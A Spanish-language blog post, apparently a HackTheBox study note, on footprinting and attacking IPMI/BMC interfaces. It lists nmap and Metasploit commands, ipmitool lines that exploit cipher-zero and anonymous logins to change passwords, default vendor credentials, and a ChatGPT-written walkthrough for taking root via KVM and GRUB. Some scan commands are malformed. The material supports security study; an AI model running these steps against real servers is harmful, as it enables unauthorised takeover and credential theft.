← Back to list

Footprinting IPMI

Estandar utilizado en la gestion de sistemas y monitoreo de hardware en servidores, indepndiente del sistema operativo.

Ing. Alejandro Cervantes · 2024-12-04 22:03 · 0 claps · 5.5 min read
#ipmi #footprinting #ethical-hacking #ciberseguridad #hackthebox
Open on Medium ↗
Wiki topics: 🔒 · Cybersecurity

Footprinting IPMI

Nota: El conocimiento presente tiene propositos educativos éticos.

En el presente documento veremos una introducción a la tecnologia IPMI, se vé prometedora. Tambien el propósito de este artículo es hacer la enumeración y hácking del servicio.

La Interfaz de gestión de plataforma inteligente (IPMI) ofrece un enfoque estandarizado para la gestión y el control remotos de sistemas informáticos, independientemente del sistema operativo o del estado de energía.

  • Especificaciones de la interfaz para la gestión remota de sistemas informáticos independientemente del sistema operativo o del estado de energía.
  • Especificaciones de la interfaz para el control remoto de sistemas informáticos independientemente del sistema operativo o del estado de energía

Ejemplos dados por **wikipedia**

  • Por ejemplo, IPMI proporciona una forma de gestionar un ordenador que puede estar apagado o que no responde mediante una conexión de red al hardware en lugar de a un sistema operativo o un shell de inicio de sesión.
  • Otro caso de uso puede ser la instalación remota de un sistema operativo personalizado. Sin IPMI, la instalación de un sistema operativo personalizado puede requerir que un administrador esté físicamente presente cerca del ordenador, inserte un DVD o una unidad flash USB que contenga el instalador del SO y complete el proceso de instalación utilizando un monitor y un teclado. Con IPMI, un administrador puede montar una imagen ISO, simular un DVD de instalación y realizar la instalación de forma remota.

[embed]

Se vé excelente esta tecnologia, esto me permitiria dar soporte técnico desde cualquier parte, solo necesito servicio electrico e internet!.

Footprinting IPMI

Empezamos, según **hacktrics**, el puerto predeterminado es 623 y funciona tanto en UDP como en TCP.

Podemos usar tanto nmap como metasploit. El código para hacer el descubrimiento del puerto y si está activo con nmap es

# Protocolo TCP
nmap -n -p 623 10.0.0./24
# Protocolo UDP 
nmap -n-sU -p 623 10.0.0./24

Para el descubrimiento de la versión del servicio IPMI podemos usar tanto nmap como metasploit

# Nmap
nmap -sU --script ipmi-version -p 623 10.10.10.10
# Metasploit
use auxiliary/scanner/ipmi/ipmi_version

HackTricks documentó una lista de vulnerabilidades

  1. cipher type 0
  2. IPMI 2.0 RAKP Authentication Remote Password Hash Retrieval
  3. IPMI Anonymous Authentication
  4. Supermicro IPMI Clear-text Passwords
  5. Super IPMI UPnP Vulnerability
  6. El clásico Brute force
  7. Accessin the Host via BMC
  8. Backdoors into BMC from the Host

Cipher type 0

En la version IPMI 2.0 habían encontrado una gran vulnerabilidad con algo que se llama cipher type 0. Dicha vulnerabilidad permite acceso NO autorizado a cualquier usuario valido pero con cualquier contraseña. Esta vulnerabilidad ya fue testeada por HP, Dell y otras compañias.

El cipher type 0 está documentada en profundidad en fish2.com, ojo! que es http solo, no tiene encryptación.

Wow, **HackTricks** nos proporciona dos categorias, testeo y explotación.

# Metasploit para testeo
use auxiliary/scanner/ipmi/ipmi_cipher_zero
# Explotacion con la herramiento ipmitool
apt-get install ipmitool # Installation command
ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user list # Lists users
ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user set password 2 abc123 # Changes password

IPMI 2.0 RAKP Authentication Remote Password Hash Retrieval

La vulnerabilidad permite extraer los hash de contraseñas tanto en MD5 como en SHA1 por cada usuario valido.

# Para testear esta vulnerabilidad
msf > use auxiliary/scanner/ipmi/ipmi_dumphashes

IPMI Anonymous Authentication

Una configuración default o predeterminada, en el microcontrolador especializado (BMC) que está integrado en la placa base en servidores y equipos de alto rendimiento cuya función principal es supervisar y gestionar el hardware de forma independiente al sistema operativo, puede permitir acceso anonimo, anonymous.

# Testeo 
ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user list
ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user set password 2 newpassword

Supermicro IPMI Clear-text Passwords

Debido a un mal diseño, en la version IPMI 2.0, las contraseñas se guardan en texto, sin encryptacion, en el microcontrolador especializado (BMC) con el proposito de realizar autenticaciones, irónico!.

# Comando
cat /nv/PSBlock

Brute force

Cada compañia de hardware como HP, Dell, IBM e incluso Oracle gestiona esto de forma distinta.

  • Por ejemplo HP usa una contraseña de fabrica de 8 caracteres de forma aleatoria como su predeterminado; la mas segura de todas.
  • Dell, IBM y Fujitsu usan admin como usuario y contraseñas sencillas como calvin, PASSWORD, etc … .
  • Oracle, Asus y la version IPMI 2.0 usan como predeterminado ADMIN, changeme, admin como usuarios y contraseñas.
???????

Accessing the Host via BMC

Le he pedido a chatgpt que me facilite esta seccion para poder entregar el articulo, el autor principal del contenido es hacktrics.

El Baseboard Management Controller (BMC) es un sistema integrado en los servidores que permite gestionarlos remotamente, incluso si están apagados. Si un atacante consigue acceso administrativo al BMC, puede usar esta herramienta para acceder al sistema operativo del servidor de varias formas. Una de las más comunes es a través de la función KVM (teclado, video y mouse), que permite controlar el servidor como si estuviera frente a él. Con KVM, el atacante puede reiniciar el servidor y cargar un sistema especial, como un disco de rescate, para obtener acceso total al servidor. Esto les permite manipular los archivos, insertar programas maliciosos o extraer datos. Aunque esto requiere reiniciar el servidor, lo cual es más evidente, también hay formas de atacar sin reiniciar. Si el sistema ya tiene una sesión activa, como una consola abierta, el atacante puede usar herramientas como ipmitool para tomar el control sin interrumpir el funcionamiento del servidor. Este acceso al BMC es una gran vulnerabilidad si no está protegido adecuadamente, ya que deja al servidor expuesto a ataques remotos. Por ello, es crucial asegurar el BMC con contraseñas fuertes y restringir su acceso a redes confiables.

Ejemplo práctico de explotación del acceso administrativo al BMC utilizando KVM y GRUB:

Imagina que has obtenido acceso administrativo al BMC de un servidor a través de sus credenciales o una configuración insegura. Ahora, quieres usar la funcionalidad de KVM para manipular el sistema operativo del servidor.

Conexión al BMC: Utiliza una herramienta como ipmitool para conectarte al BMC de manera remota. Primero, verifica que tienes acceso:

ipmitool -I lanplus -H <BMC_IP> -U <username> -P <password> chassis status

Este comando confirma que puedes comunicarte con el BMC.

Acceso a la consola KVM: Abre la interfaz KVM proporcionada por el BMC. Dependiendo del fabricante, esto puede ser a través de una interfaz web o un cliente dedicado. Una vez dentro, tendrás acceso remoto al teclado, video y mouse del servidor.

Reinicio del servidor y acceso a GRUB: Usa el KVM para reiniciar el servidor desde la interfaz del BMC:

ipmitool -I lanplus -H <BMC_IP> -U <username> -P <password> chassis power cycle

Mientras el servidor arranca, intercepta el proceso para acceder al menú GRUB. Esto se logra presionando la tecla apropiada (generalmente Esc o Shift, según el sistema).

Modificar los parámetros de arranque en GRUB: Una vez en el menú GRUB, edita la entrada de arranque principal. Busca la línea que comienza con linux o kernel y agrega lo siguiente al final:

init=/bin/sh

Esto indica al sistema que, en lugar de cargar el sistema operativo completo, se inicie directamente en un shell raíz.

Acceso al shell raíz: Cuando el sistema arranque, tendrás acceso al shell como usuario root sin necesidad de contraseñas. Desde aquí, puedes manipular el sistema:

mount -o remount,rw /
echo "Hacked by Pentester" > /root/owned.txt
passwd root

El comando anterior cambia la contraseña del usuario root, lo que te da control permanente.

Opcional: Montar un disco de rescate: Si prefieres no modificar GRUB, puedes cargar una imagen ISO como disco de rescate. En el BMC, carga un archivo ISO (como un sistema operativo en vivo) desde la interfaz KVM, configúralo como unidad de arranque, y reinicia el servidor para acceder a este entorno.

Este ejemplo muestra cómo un atacante puede explotar el acceso al BMC para obtener control total sobre un servidor. Para evitarlo, asegúrate de proteger el BMC con contraseñas seguras, limitar el acceso por red, y habilitar solo las funciones estrictamente necesarias.

Gracias ChatGpt!.

Por el dia de hoy vamos a terminar, debo terminar con muchos articulos en espera, gracias por acompañarme.


메타데이터
post_id
3dd3e8c3e58d
slug
footprinting-ipmi-3dd3e8c3e58d
url
https://medium.com/@ingalejandrocervantes/footprinting-ipmi-3dd3e8c3e58d
canonical_url
https://medium.com/@ingalejandrocervantes/footprinting-ipmi-3dd3e8c3e58d
author_url
https://medium.com/@ingalejandrocervantes
status
ok
fetched_at
2026-06-27 07:40:21